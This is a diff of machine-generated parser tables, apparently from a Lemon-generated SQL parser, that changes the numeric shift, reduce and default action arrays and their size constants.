 /*   730 */    83,   84,   85,   86,   87,   88,   89,   90,   91,   92,
-
 /*   740 */    19,  150,  150,  150,   25,   24,   19,  194,  237,  150,
-
 /*   750 */   221,  222,  223,   25,   27,   23,  165,  165,  165,  242,
-
 /*   760 */   165,   23,  150,   25,  165,  174,  175,  174,  175,  174,
-
 /*   770 */    49,   50,  219,  150,   22,   23,  238,  165,   25,   22,
-
 /*   780 */    23,   23,  166,  167,  168,  193,  174,  175,  165,   68,
+
 /*   740 */    19,  150,   19,  165,  150,   24,  166,  167,  168,  227,
+
 /*   750 */    27,  173,  174,  231,  150,   25,  165,  150,  172,  165,
+
 /*   760 */   150,  242,  129,  130,  173,  174,  180,  173,  174,  165,
+
 /*   770 */    49,   50,  165,  150,  176,  165,   35,  173,  174,  165,
+
 /*   780 */   173,  174,   35,   23,   23,   25,   25,  173,  165,   68,
 /*   790 */    69,   70,   71,   72,   73,   74,   75,   76,   77,   78,
 /*   800 */    79,   80,  150,   82,   83,   84,   85,   86,   87,   88,
-
 /*   810 */    89,   90,   91,   92,   19,  150,   23,  165,  150,   67,
-
 /*   820 */   150,   25,  103,   95,   67,   35,  174,  175,  206,  207,
-
 /*   830 */   165,  150,   25,  165,  150,  165,  213,  150,  150,  174,
-
 /*   840 */   175,   35,  174,  175,   49,   50,  165,   52,  120,  165,
-
 /*   850 */   245,  246,  165,  165,   35,  174,  175,  187,  174,  175,
-
 /*   860 */    23,   50,   25,   68,   69,   70,   71,   72,   73,   74,
+
 /*   810 */    89,   90,   91,   92,   19,  150,  193,  165,  150,  221,
+
 /*   820 */   222,  223,  150,  213,   19,  173,  174,   23,  150,   97,
+
 /*   830 */   165,  150,   27,  165,  150,  150,  150,  165,  173,  174,
+
 /*   840 */    22,  173,  174,  165,   49,   50,  165,   52,  116,  165,
+
 /*   850 */   165,  165,  206,  207,  173,  174,  126,   50,  173,  174,
+
 /*   860 */   128,   27,  160,   68,   69,   70,   71,   72,   73,   74,
 /*   870 */    75,   76,   77,   78,   79,   80,  150,   82,   83,   84,
 /*   880 */    85,   86,   87,   88,   89,   90,   91,   92,   19,  150,
-
 /*   890 */   150,  165,  150,  150,  160,   23,  150,   25,  144,  145,
-
 /*   900 */   174,  175,  120,  216,  165,  165,   22,  165,  165,  150,
-
 /*   910 */   150,  165,   27,  174,  175,  104,  174,  175,   49,   50,
-
 /*   920 */   174,  175,  247,  248,  165,  165,  238,  187,  194,   23,
-
 /*   930 */   187,   25,  166,  174,  175,  190,  191,   68,   69,   70,
+
 /*   890 */    23,  165,  150,   23,  216,   25,  194,   32,   39,  173,
+
 /*   900 */   174,  135,  150,  137,  165,  150,   41,  165,  150,   52,
+
 /*   910 */   238,  104,  173,  174,   29,  173,  174,  165,   49,   50,
+
 /*   920 */   165,  219,  238,  165,  238,  173,  174,   52,  173,  174,
+
 /*   930 */    22,  173,  174,   23,   23,  160,   25,   68,   69,   70,
 /*   940 */    71,   72,   73,   74,   75,   76,   77,   78,   79,   80,
 /*   950 */   150,   82,   83,   84,   85,   86,   87,   88,   89,   90,
-
 /*   960 */    91,   92,   19,  150,  150,  165,  150,   23,  150,   25,
-
 /*   970 */    23,  205,   25,  213,  174,  175,  190,  191,  165,  165,
-
 /*   980 */   118,  165,  150,  165,  150,  150,   23,  174,  175,   39,
-
 /*   990 */   174,  175,   49,   50,  173,  150,   23,  165,   52,  165,
-
 /*  1000 */   165,  187,  181,   22,  166,  166,  174,  175,  174,  175,
+
 /*   960 */    91,   92,   19,  150,  150,  165,  150,  245,  246,  194,
+
 /*   970 */   150,  144,  145,  173,  174,  160,  150,   22,  165,  165,
+
 /*   980 */    22,  165,  150,  150,  116,  165,  173,  174,   52,  173,
+
 /*   990 */   174,  165,   49,   50,   22,  150,  128,  165,  165,  173,
+
 /*  1000 */   174,  187,  166,  166,   22,  173,  174,  187,  109,  194,
 /*  1010 */   165,   68,   69,   70,   71,   72,   73,   74,   75,   76,
 /*  1020 */    77,   78,   79,   80,  150,   82,   83,   84,   85,   86,
 /*  1030 */    87,   88,   89,   90,   91,   92,   19,  150,  193,  165,
-
 /*  1040 */   150,  160,  150,  205,  205,  150,  150,   29,  174,  175,
-
 /*  1050 */    52,  216,  165,   22,  150,  165,  238,  165,  150,  150,
-
 /*  1060 */   165,  165,   49,   50,  174,  175,   49,   50,   23,  165,
-
 /*  1070 */    91,   92,   22,  165,  165,  194,    1,    2,   22,   52,
-
 /*  1080 */   193,  109,  174,  175,   71,   72,   69,   70,   71,   72,
+
 /*  1040 */   102,  205,  205,  150,  150,  247,  248,  173,  174,   19,
+
 /*  1050 */   150,   20,  165,  150,  150,  150,  150,  150,  165,  165,
+
 /*  1060 */   173,  174,   49,   50,  104,  165,   49,   50,  165,  165,
+
 /*  1070 */   165,  165,  165,  173,  174,   43,  173,  174,  173,  174,
+
 /*  1080 */   187,   24,  190,  191,   71,   72,   69,   70,   71,   72,
 /*  1090 */    73,   74,   75,   76,   77,   78,   79,   80,  150,   82,
 /*  1100 */    83,   84,   85,   86,   87,   88,   89,   90,   91,   92,
-
 /*  1110 */    19,   98,  150,  165,  150,  150,  150,  102,  150,  150,
-
 /*  1120 */    22,   19,  174,  175,   20,   24,  104,  165,   43,  165,
-
 /*  1130 */   165,  165,  150,  165,  165,  150,  174,  175,  174,  175,
-
 /*  1140 */    49,   50,   59,   53,  138,   25,   53,  165,  104,   22,
-
 /*  1150 */   165,    5,  118,    1,   76,   76,  174,  175,  193,  174,
-
 /*  1160 */   175,   70,   71,   72,   73,   74,   75,   76,   77,   78,
-
 /*  1170 */    79,   80,   35,   82,   83,   84,   85,   86,   87,   88,
-
 /*  1180 */    89,   90,   91,   92,   19,   20,  150,   22,  150,  150,
-
 /*  1190 */   150,   26,   27,   27,  108,  127,  150,  150,   22,   25,
-
 /*  1200 */    22,  165,   37,  165,  165,  165,  119,   19,   20,  150,
-
 /*  1210 */    22,  165,  165,  150,   26,   27,   23,    1,   16,   20,
-
 /*  1220 */   150,   56,  119,  108,  165,   37,  121,  128,  165,  193,
-
 /*  1230 */    23,   66,  193,  174,  175,  165,  127,  174,  175,   16,
-
 /*  1240 */    23,  146,  147,   15,   56,   65,  150,  152,  140,  154,
-
 /*  1250 */   150,   86,   87,   88,   66,  160,   22,  150,   93,   94,
-
 /*  1260 */    95,  165,  150,   98,  150,  165,    3,  246,    4,  150,
-
 /*  1270 */   174,  175,  165,  150,   86,   87,    6,  165,  150,  165,
-
 /*  1280 */   164,   93,   94,   95,  165,  149,   98,  149,  165,  194,
-
 /*  1290 */   180,  180,  249,  165,  129,  130,  131,  132,  133,  134,
-
 /*  1300 */   193,  150,  174,  175,  116,  193,   19,   20,  150,   22,
-
 /*  1310 */   249,  149,  217,   26,   27,  151,  165,  129,  130,  131,
-
 /*  1320 */   132,  133,  134,  165,   37,  174,  175,  150,  149,   19,
-
 /*  1330 */    20,  150,   22,  150,  150,  150,   26,   27,   13,  244,
-
 /*  1340 */   151,  159,  165,   56,   25,  116,  165,   37,  165,  165,
-
 /*  1350 */   165,  174,  175,   66,  150,  174,  175,  174,  175,  174,
-
 /*  1360 */   175,  194,  150,  150,  150,  126,   56,  199,  124,  165,
-
 /*  1370 */   200,  150,  150,   86,   87,  150,   66,  165,  165,  165,
-
 /*  1380 */    93,   94,   95,  150,  122,   98,  165,  165,  123,   22,
-
 /*  1390 */   165,  201,  150,   26,   27,  150,   86,   87,  165,  174,
-
 /*  1400 */   175,  203,  202,   93,   94,   95,  125,  165,   98,  150,
-
 /*  1410 */   165,  150,  225,  135,  157,  118,  129,  130,  131,  132,
-
 /*  1420 */   133,  134,    5,  150,  165,  157,  165,   10,   11,   12,
-
 /*  1430 */    13,   14,  150,   66,   17,  174,  175,  210,  165,  129,
-
 /*  1440 */   130,  131,  132,  133,  134,  150,  104,  165,   31,  150,
-
 /*  1450 */    33,  150,  150,   86,   87,  150,  174,  175,  211,   42,
-
 /*  1460 */   165,   94,  121,  210,  165,   98,  165,  165,  176,  211,
-
 /*  1470 */   165,  211,   55,  104,   57,  184,  210,   47,   61,  176,
-
 /*  1480 */   176,   64,  103,  176,  178,   22,   92,  179,  176,  176,
-
 /*  1490 */   176,  156,   18,  184,  179,  228,  129,  130,  131,  228,
-
 /*  1500 */   157,  156,   45,  157,  156,  236,  157,  157,  135,  235,
-
 /*  1510 */   156,  189,  157,   68,  218,  189,   22,  199,  156,  192,
-
 /*  1520 */   157,   18,  105,  106,  107,  192,  192,  199,  111,  192,
-
 /*  1530 */   240,  157,   40,  116,  218,  157,  189,  157,  240,   38,
-
 /*  1540 */   153,  166,  198,  243,  178,  209,  182,  196,  177,  226,
-
 /*  1550 */   230,  230,  166,  177,  177,  166,  139,  199,  199,  148,
-
 /*  1560 */   195,  209,  209,  239,  196,  166,  234,  183,  239,  208,
-
 /*  1570 */   174,  233,  191,  183,  183,  174,   92,  250,  186,  186,
+
 /*  1110 */    19,   98,  150,  165,  150,  150,  150,  150,  150,  150,
+
 /*  1120 */    59,  173,  174,   25,  150,  190,  191,  165,   53,  165,
+
 /*  1130 */   165,  165,  165,  165,  165,  173,  174,  173,  174,  165,
+
 /*  1140 */    49,   50,   91,   92,    1,    2,   53,  173,  174,  138,
+
 /*  1150 */   104,   22,    5,    1,   35,  118,  127,  150,  193,  193,
+
 /*  1160 */   193,   70,   71,   72,   73,   74,   75,   76,   77,   78,
+
 /*  1170 */    79,   80,  165,   82,   83,   84,   85,   86,   87,   88,
+
 /*  1180 */    89,   90,   91,   92,   19,   20,  150,   22,  150,   27,
+
 /*  1190 */   150,   26,   27,  108,  150,   22,   76,   76,  150,   25,
+
 /*  1200 */   193,  165,   37,  165,  150,  165,   22,   19,   20,  165,
+
 /*  1210 */    22,  173,  174,  165,   26,   27,   23,  150,  119,  165,
+
 /*  1220 */   150,   56,  150,  150,  150,   37,   16,  173,  174,  193,
+
 /*  1230 */   150,   66,  165,  193,    1,  165,  121,  165,  165,  165,
+
 /*  1240 */    20,  146,  147,  119,   56,  165,  150,  152,   16,  154,
+
 /*  1250 */   150,   86,   87,   88,   66,  160,  150,  150,   93,   94,
+
 /*  1260 */    95,  165,  150,   98,  108,  165,  127,   23,   65,  173,
+
 /*  1270 */   174,  165,  165,  150,   86,   87,  128,  165,  150,  173,
+
 /*  1280 */   174,   93,   94,   95,   23,  150,   98,   15,  165,  194,
+
 /*  1290 */   150,  140,   22,  165,  129,  130,  131,  132,  133,  134,
+
 /*  1300 */   165,  173,  174,    3,  116,  165,   19,   20,  150,   22,
+
 /*  1310 */     4,  150,  217,   26,   27,  179,  179,  129,  130,  131,
+
 /*  1320 */   132,  133,  134,  165,   37,  150,  165,  150,  164,   19,
+
 /*  1330 */    20,  150,   22,  246,  149,  249,   26,   27,  249,  244,
+
 /*  1340 */   165,  150,  165,   56,    6,  150,  165,   37,  173,  174,
+
 /*  1350 */   173,  174,  150,   66,  173,  174,  165,  149,  149,   13,
+
 /*  1360 */   165,   25,  150,  150,  150,  149,   56,  165,  150,  116,
+
 /*  1370 */   151,  150,  150,   86,   87,  150,   66,  165,  165,  165,
+
 /*  1380 */    93,   94,   95,  165,  150,   98,  165,  165,  151,   22,
+
 /*  1390 */   165,  194,  150,   26,   27,  150,   86,   87,  159,  165,
+
 /*  1400 */   199,  126,  123,   93,   94,   95,  200,  165,   98,  124,
+
 /*  1410 */   165,  122,  201,  125,  225,  135,  129,  130,  131,  132,
+
 /*  1420 */   133,  134,    5,  157,  157,  202,  118,   10,   11,   12,
+
 /*  1430 */    13,   14,  203,   66,   17,  104,  210,  121,  211,  129,
+
 /*  1440 */   130,  131,  132,  133,  134,  210,  175,  211,   31,  211,
+
 /*  1450 */    33,  210,  104,   86,   87,   47,  175,  183,  175,   42,
+
 /*  1460 */   103,   94,  178,  177,   22,   98,  175,   92,  228,  175,
+
 /*  1470 */   175,  228,   55,  183,   57,  178,  175,  156,   61,   18,
+
 /*  1480 */   157,   64,  156,  235,  157,  156,   45,  157,  236,  157,
+
 /*  1490 */   135,  156,  189,   68,  157,  218,  129,  130,  131,   22,
+
 /*  1500 */   189,  199,  157,  156,  192,   18,  192,  192,  199,  192,
+
 /*  1510 */   218,  189,   40,  157,   38,  157,  240,  157,  240,  153,
+
 /*  1520 */   196,  181,  105,  106,  107,  243,  198,  166,  111,  230,
+
 /*  1530 */   176,  226,  239,  116,  230,  176,  166,  166,  176,  148,
+
 /*  1540 */   199,  177,  209,  209,  166,  196,  239,  208,  185,  199,
+
 /*  1550 */    92,  209,  233,  173,  234,  182,  139,  173,  182,  191,
+
 /*  1560 */   195,  182,  250,  186,
};
-
#define YY_SHIFT_USE_DFLT (-81)
-
#define YY_SHIFT_COUNT (417)
-
#define YY_SHIFT_MIN   (-80)
-
#define YY_SHIFT_MAX   (1503)
+
#define YY_SHIFT_USE_DFLT (-70)
+
#define YY_SHIFT_COUNT (416)
+
#define YY_SHIFT_MIN   (-69)
+
#define YY_SHIFT_MAX   (1487)
static const short yy_shift_ofst[] = {
-
 /*     0 */  1075, 1188, 1417, 1188, 1287, 1287,  138,  138,    1,  -19,
-
 /*    10 */  1287, 1287, 1287, 1287,  340,   -2,  129,  129,  795, 1165,
+
 /*     0 */  1143, 1188, 1417, 1188, 1287, 1287,  138,  138,   -2,  -19,
+
 /*    10 */  1287, 1287, 1287, 1287,  347,  362,  129,  129,  795, 1165,
 /*    20 */  1287, 1287, 1287, 1287, 1287, 1287, 1287, 1287, 1287, 1287,
 /*    30 */  1287, 1287, 1287, 1287, 1287, 1287, 1287, 1287, 1287, 1287,
 /*    40 */  1287, 1287, 1287, 1287, 1287, 1287, 1287, 1287, 1310, 1287,
 /*    50 */  1287, 1287, 1287, 1287, 1287, 1287, 1287, 1287, 1287, 1287,
-
 /*    60 */  1287, 1287,  212,   -2,   -2,   -8,   -8,  614, 1229,   55,
+
 /*    60 */  1287, 1287,  286,  362,  362,  538,  538,  231, 1253,   55,
 /*    70 */   721,  647,  573,  499,  425,  351,  277,  203,  869,  869,
 /*    80 */   869,  869,  869,  869,  869,  869,  869,  869,  869,  869,
 /*    90 */   869,  869,  869,  943,  869, 1017, 1091, 1091,  -69,  -45,
-
 /*   100 */   -45,  -45,  -45,  -45,   -1,   57,   28,  361,   -2,   -2,
-
 /*   110 */    -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,
-
 /*   120 */    -2,   -2,   -2,   -2,  391,  515,   -2,   -2,   -2,   -2,
-
 /*   130 */    -2,  509,  -80,  614,  979, 1484,  -81,  -81,  -81, 1367,
-
 /*   140 */    75,  182,  182,  314,  311,  364,  219,   86,  613,  609,
-
 /*   150 */    -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,
-
 /*   160 */    -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,
-
 /*   170 */    -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,   -2,
-
 /*   180 */    -2,   -2,  578,  578,  578,  615, 1229, 1229, 1229,  -81,
-
 /*   190 */   -81,  -81,  160,  168,  168,  283,  500,  500,  500,  278,
-
 /*   200 */   449,  330,  432,  409,  352,   48,   48,   48,   48,  426,
-
 /*   210 */   286,   48,   48,  728,  581,  369,  590,  495,  224,  224,
-
 /*   220 */   727,  495,  727,  719,  614,  659,  614,  659,  811,  659,
-
 /*   230 */   224,  257,  480,  480,  614,  144,  375,  -18, 1501, 1297,
-
 /*   240 */  1297, 1492, 1492, 1297, 1494, 1445, 1239, 1503, 1503, 1503,
-
 /*   250 */  1503, 1297, 1474, 1239, 1494, 1445, 1445, 1297, 1474, 1373,
-
 /*   260 */  1457, 1297, 1297, 1474, 1297, 1474, 1297, 1474, 1463, 1369,
-
 /*   270 */  1369, 1369, 1430, 1394, 1394, 1463, 1369, 1379, 1369, 1430,
-
 /*   280 */  1369, 1369, 1341, 1342, 1341, 1342, 1341, 1342, 1297, 1297,
-
 /*   290 */  1278, 1281, 1262, 1244, 1265, 1239, 1229, 1319, 1325, 1325,
-
 /*   300 */  1270, 1270, 1270, 1270,  -81,  -81,  -81,  -81,  -81,  -81,
-
 /*   310 */  1013,  242,  757,  752,  465,  363,  947,  232,  944,  906,
-
 /*   320 */   872,  837,  738,  448,  381,  230,   84,  362,  300, 1264,
-
 /*   330 */  1263, 1234, 1108, 1228, 1180, 1223, 1217, 1207, 1099, 1174,
-
 /*   340 */  1109, 1115, 1103, 1199, 1105, 1202, 1216, 1087, 1193, 1178,
-
 /*   350 */  1174, 1176, 1068, 1079, 1078, 1086, 1166, 1137, 1034, 1152,
-
 /*   360 */  1146, 1127, 1044, 1006, 1093, 1120, 1090, 1083, 1085, 1022,
-
 /*   370 */  1101, 1104, 1102,  972, 1015, 1098, 1027, 1056, 1050, 1045,
-
 /*   380 */  1031,  998, 1018,  981,  946,  950,  973,  963,  862,  885,
-
 /*   390 */   819,  884,  782,  796,  806,  807,  790,  796,  793,  758,
-
 /*   400 */   753,  732,  692,  696,  682,  686,  667,  544,  291,  521,
-
 /*   410 */   510,  365,  358,  139,  114,   54,   14,   25,
+
 /*   100 */   -45,  -45,  -45,  -45,   -1,   24,  245,  362,  362,  362,
+
 /*   110 */   362,  362,  362,  362,  362,  362,  362,  362,  362,  362,
+
 /*   120 */   362,  362,  362,  388,  356,  362,  362,  362,  362,  362,
+
 /*   130 */   732,  868,  231, 1051, 1458,  -70,  -70,  -70, 1367,   57,
+
 /*   140 */   434,  434,  289,  291,  285,    1,  204,  572,  539,  362,
+
 /*   150 */   362,  362,  362,  362,  362,  362,  362,  362,  362,  362,
+
 /*   160 */   362,  362,  362,  362,  362,  362,  362,  362,  362,  362,
+
 /*   170 */   362,  362,  362,  362,  362,  362,  362,  362,  362,  362,
+
 /*   180 */   362,  506,  506,  506,  705, 1253, 1253, 1253,  -70,  -70,
+
 /*   190 */   -70,  171,  171,  160,  502,  502,  502,  446,  432,  511,
+
 /*   200 */   422,  358,  335,  -12,  -12,  -12,  -12,  576,  294,  -12,
+
 /*   210 */   -12,  295,  595,  141,  600,  730,  723,  723,  805,  730,
+
 /*   220 */   805,  439,  911,  231,  865,  231,  865,  807,  865,  723,
+
 /*   230 */   766,  633,  633,  231,  284,   63,  608, 1476, 1308, 1308,
+
 /*   240 */  1472, 1472, 1308, 1477, 1425, 1275, 1487, 1487, 1487, 1487,
+
 /*   250 */  1308, 1461, 1275, 1477, 1425, 1425, 1308, 1461, 1355, 1441,
+
 /*   260 */  1308, 1308, 1461, 1308, 1461, 1308, 1461, 1442, 1348, 1348,
+
 /*   270 */  1348, 1408, 1375, 1375, 1442, 1348, 1357, 1348, 1408, 1348,
+
 /*   280 */  1348, 1316, 1331, 1316, 1331, 1316, 1331, 1308, 1308, 1280,
+
 /*   290 */  1288, 1289, 1285, 1279, 1275, 1253, 1336, 1346, 1346, 1338,
+
 /*   300 */  1338, 1338, 1338,  -70,  -70,  -70,  -70,  -70,  -70, 1013,
+
 /*   310 */   467,  612,   84,  179,  -28,  870,  410,  761,  760,  667,
+
 /*   320 */   650,  531,  220,  361,  331,  125,  127,   97, 1306, 1300,
+
 /*   330 */  1270, 1151, 1272, 1203, 1232, 1261, 1244, 1148, 1174, 1139,
+
 /*   340 */  1156, 1124, 1220, 1115, 1210, 1233, 1099, 1193, 1184, 1174,
+
 /*   350 */  1173, 1029, 1121, 1120, 1085, 1162, 1119, 1037, 1152, 1147,
+
 /*   360 */  1129, 1046, 1011, 1093, 1098, 1075, 1061, 1032,  960, 1057,
+
 /*   370 */  1031, 1030,  899,  938,  982,  936,  972,  958,  910,  955,
+
 /*   380 */   875,  885,  908,  857,  859,  867,  804,  590,  834,  747,
+
 /*   390 */   818,  513,  611,  741,  673,  637,  611,  606,  603,  579,
+
 /*   400 */   501,  541,  468,  386,  445,  395,  376,  281,  185,  120,
+
 /*   410 */    92,   75,   45,  114,   25,   11,    5,
};
#define YY_REDUCE_USE_DFLT (-169)
-
#define YY_REDUCE_COUNT (309)
+
#define YY_REDUCE_COUNT (308)
#define YY_REDUCE_MIN   (-168)
-
#define YY_REDUCE_MAX   (1411)
+
#define YY_REDUCE_MAX   (1391)
static const short yy_reduce_ofst[] = {
-
 /*     0 */   318,   90, 1095,  221,  157,   21,  159,   18,  150,  390,
-
 /*    10 */   385,  378,  380,  315,  325,  249,  529,  -71,    8, 1282,
-
 /*    20 */  1261, 1225, 1185, 1183, 1181, 1177, 1151, 1128, 1096, 1063,
-
 /*    30 */  1059,  985,  982,  964,  962,  948,  908,  890,  874,  834,
-
 /*    40 */   832,  816,  813,  800,  759,  746,  742,  739,  726,  684,
-
 /*    50 */   681,  668,  665,  652,  612,  593,  591,  537,  524,  518,
-
 /*    60 */   504,  455,  511,  376,  517,  247, -168,   24,  420,  463,
-
 /*    70 */   463,  463,  463,  463,  463,  463,  463,  463,  463,  463,
-
 /*    80 */   463,  463,  463,  463,  463,  463,  463,  463,  463,  463,
-
 /*    90 */   463,  463,  463,  463,  463,  463,  463,  463,  463,  463,
-
 /*   100 */   463,  463,  463,  463,  463,  -74,  463,  463, 1112,  835,
-
 /*   110 */  1107, 1039, 1036,  965,  887,  845,  818,  760,  688,  687,
-
 /*   120 */   538,  743,  623,  592,  446,  513,  814,  740,  670,  156,
-
 /*   130 */   468,  553,  184,  616,  463,  463,  463,  463,  463,  595,
-
 /*   140 */   821,  786,  745,  909, 1305, 1302, 1301, 1299,  675,  675,
-
 /*   150 */  1295, 1273, 1259, 1245, 1242, 1233, 1222, 1221, 1214, 1213,
-
 /*   160 */  1212, 1204, 1184, 1158, 1123, 1119, 1114, 1100, 1070, 1047,
-
 /*   170 */  1046, 1040, 1038,  969,  968,  966,  909,  904,  896,  895,
-
 /*   180 */   892,  599,  839,  838,  766,  754,  881,  734,  346,  605,
-
 /*   190 */   622,  -94, 1393, 1401, 1396, 1392, 1391, 1390, 1384, 1361,
-
 /*   200 */  1365, 1381, 1365, 1365, 1365, 1365, 1365, 1365, 1365, 1332,
-
 /*   210 */  1338, 1365, 1365, 1361, 1399, 1368, 1411, 1359, 1353, 1352,
-
 /*   220 */  1329, 1358, 1324, 1366, 1389, 1377, 1386, 1376, 1364, 1371,
-
 /*   230 */  1336, 1323, 1321, 1320, 1375, 1344, 1351, 1387, 1300, 1380,
-
 /*   240 */  1378, 1298, 1290, 1374, 1316, 1347, 1328, 1337, 1334, 1333,
-
 /*   250 */  1327, 1363, 1362, 1318, 1296, 1326, 1322, 1355, 1354, 1269,
-
 /*   260 */  1274, 1350, 1349, 1348, 1346, 1345, 1343, 1335, 1315, 1314,
-
 /*   270 */  1313, 1312, 1309, 1271, 1267, 1308, 1307, 1306, 1304, 1291,
-
 /*   280 */  1303, 1292, 1260, 1266, 1258, 1253, 1247, 1227, 1268, 1257,
-
 /*   290 */  1187, 1198, 1200, 1190, 1170, 1168, 1167, 1182, 1189, 1164,
-
 /*   300 */  1179, 1162, 1138, 1136, 1061, 1043, 1021, 1111, 1110, 1116,
+
 /*     0 */  -141,   90, 1095,  222,  158,  156,   19,   17,   10, -104,
+
 /*    10 */   378,  316,  311,   12,  180,  249,  598,  464,  397, 1181,
+
 /*    20 */  1177, 1175, 1128, 1106, 1096, 1054, 1038,  974,  964,  962,
+
 /*    30 */   948,  905,  903,  900,  887,  874,  832,  826,  816,  813,
+
 /*    40 */   800,  758,  755,  752,  742,  739,  726,  685,  681,  668,
+
 /*    50 */   665,  652,  607,  604,  594,  591,  578,  530,  528,  526,
+
 /*    60 */   385,   18,  477,  466,  519,  444,  350,  435,  405,  488,
+
 /*    70 */   488,  488,  488,  488,  488,  488,  488,  488,  488,  488,
+
 /*    80 */   488,  488,  488,  488,  488,  488,  488,  488,  488,  488,
+
 /*    90 */   488,  488,  488,  488,  488,  488,  488,  488,  488,  488,
+
 /*   100 */   488,  488,  488,  488,  488,  488,  488, 1040,  678, 1036,
+
 /*   110 */  1007,  967,  966,  965,  845,  686,  610,  684,  317,  672,
+
 /*   120 */   893,  327,  623,  522,   -7,  820,  814,  157,  154,  101,
+
 /*   130 */   702,  494,  580,  488,  488,  488,  488,  488,  614,  586,
+
 /*   140 */   935,  892,  968, 1245, 1242, 1234, 1225,  798,  798, 1222,
+
 /*   150 */  1221, 1218, 1214, 1213, 1212, 1202, 1195, 1191, 1161, 1158,
+
 /*   160 */  1140, 1135, 1123, 1112, 1107, 1100, 1080, 1074, 1073, 1072,
+
 /*   170 */  1070, 1067, 1048, 1044,  969,  968,  907,  906,  904,  894,
+
 /*   180 */   833,  837,  836,  340,  827,  815,  775,   68,  722,  646,
+
 /*   190 */  -168, 1384, 1380, 1377, 1379, 1376, 1373, 1339, 1365, 1368,
+
 /*   200 */  1365, 1365, 1365, 1365, 1365, 1365, 1365, 1320, 1319, 1365,
+
 /*   210 */  1365, 1339, 1378, 1349, 1391, 1350, 1342, 1334, 1307, 1341,
+
 /*   220 */  1293, 1364, 1363, 1371, 1362, 1370, 1359, 1340, 1354, 1333,
+
 /*   230 */  1305, 1304, 1299, 1361, 1328, 1324, 1366, 1282, 1360, 1358,
+
 /*   240 */  1278, 1276, 1356, 1292, 1322, 1309, 1317, 1315, 1314, 1312,
+
 /*   250 */  1345, 1347, 1302, 1277, 1311, 1303, 1337, 1335, 1252, 1248,
+
 /*   260 */  1332, 1330, 1329, 1327, 1326, 1323, 1321, 1297, 1301, 1295,
+
 /*   270 */  1294, 1290, 1243, 1240, 1284, 1291, 1286, 1283, 1274, 1281,
+
 /*   280 */  1271, 1238, 1241, 1236, 1235, 1227, 1226, 1267, 1266, 1189,
+
 /*   290 */  1229, 1223, 1211, 1206, 1201, 1197, 1239, 1237, 1219, 1216,
+
 /*   300 */  1209, 1208, 1185, 1089, 1086, 1087, 1137, 1136, 1164,
};
static const YYACTIONTYPE yy_default[] = {
-
 /*     0 */   634,  868,  956,  956,  868,  868,  956,  956,  956,  758,
-
 /*    10 */   956,  956,  956,  866,  956,  956,  786,  786,  930,  956,
-
 /*    20 */   956,  956,  956,  956,  956,  956,  956,  956,  956,  956,
-
 /*    30 */   956,  956,  956,  956,  956,  956,  956,  956,  956,  956,
-
 /*    40 */   956,  956,  956,  956,  956,  956,  956,  956,  956,  956,
-
 /*    50 */   956,  956,  956,  956,  956,  956,  956,  956,  956,  956,
-
 /*    60 */   956,  956,  956,  956,  956,  956,  956,  673,  762,  792,
-
 /*    70 */   956,  956,  956,  956,  956,  956,  956,  956,  929,  931,
-
 /*    80 */   800,  799,  909,  773,  797,  790,  794,  869,  862,  863,
-
 /*    90 */   861,  865,  870,  956,  793,  829,  846,  828,  840,  845,
-
 /*   100 */   852,  844,  841,  831,  830,  665,  832,  833,  956,  956,
-
 /*   110 */   956,  956,  956,  956,  956,  956,  956,  956,  956,  956,
-
 /*   120 */   956,  956,  956,  956,  660,  727,  956,  956,  956,  956,
-
 /*   130 */   956,  956,  956,  956,  834,  835,  849,  848,  847,  956,
-
 /*   140 */   956,  956,  956,  956,  956,  956,  956,  956,  956,  956,
-
 /*   150 */   956,  936,  934,  956,  881,  956,  956,  956,  956,  956,
-
 /*   160 */   956,  956,  956,  956,  956,  956,  956,  956,  956,  956,
-
 /*   170 */   956,  956,  956,  956,  956,  956,  956,  956,  956,  956,
-
 /*   180 */   956,  640,  758,  758,  758,  634,  956,  956,  956,  948,
-
 /*   190 */   762,  752,  718,  956,  956,  956,  956,  956,  956,  956,
-
 /*   200 */   956,  956,  956,  956,  956,  802,  741,  919,  921,  956,
-
 /*   210 */   902,  739,  662,  760,  675,  750,  642,  796,  775,  775,
-
 /*   220 */   914,  796,  914,  699,  956,  786,  956,  786,  696,  786,
-
 /*   230 */   775,  864,  956,  956,  956,  759,  750,  956,  941,  766,
-
 /*   240 */   766,  933,  933,  766,  808,  731,  796,  738,  738,  738,
-
 /*   250 */   738,  766,  657,  796,  808,  731,  731,  766,  657,  908,
-
 /*   260 */   906,  766,  766,  657,  766,  657,  766,  657,  874,  729,
-
 /*   270 */   729,  729,  714,  878,  878,  874,  729,  699,  729,  714,
-
 /*   280 */   729,  729,  779,  774,  779,  774,  779,  774,  766,  766,
-
 /*   290 */   956,  791,  780,  789,  787,  796,  956,  717,  650,  650,
-
 /*   300 */   639,  639,  639,  639,  953,  953,  948,  701,  701,  683,
-
 /*   310 */   956,  956,  956,  956,  956,  956,  956,  883,  956,  956,
-
 /*   320 */   956,  956,  956,  956,  956,  956,  956,  956,  956,  956,
-
 /*   330 */   635,  943,  956,  956,  940,  956,  956,  956,  956,  801,
-
 /*   340 */   956,  956,  956,  956,  956,  956,  956,  956,  956,  956,
-
 /*   350 */   918,  956,  956,  956,  956,  956,  956,  956,  912,  956,
-
 /*   360 */   956,  956,  956,  956,  956,  905,  904,  956,  956,  956,
-
 /*   370 */   956,  956,  956,  956,  956,  956,  956,  956,  956,  956,
-
 /*   380 */   956,  956,  956,  956,  956,  956,  956,  956,  956,  956,
-
 /*   390 */   956,  956,  956,  788,  956,  781,  956,  867,  956,  956,
-
 /*   400 */   956,  956,  956,  956,  956,  956,  956,  956,  744,  817,
-
 /*   410 */   956,  816,  820,  815,  667,  956,  648,  956,  631,  636,
-
 /*   420 */   952,  955,  954,  951,  950,  949,  944,  942,  939,  938,
-
 /*   430 */   937,  935,  932,  928,  887,  885,  892,  891,  890,  889,
-
 /*   440 */   888,  886,  884,  882,  803,  798,  795,  927,  880,  740,
-
 /*   450 */   737,  736,  656,  945,  911,  920,  807,  806,  809,  917,
-
 /*   460 */   916,  915,  913,  910,  897,  805,  804,  732,  872,  871,
-
 /*   470 */   659,  901,  900,  899,  903,  907,  898,  768,  658,  655,
-
 /*   480 */   664,  721,  720,  728,  726,  725,  724,  723,  722,  719,
-
 /*   490 */   666,  674,  685,  713,  698,  697,  877,  879,  876,  875,
-
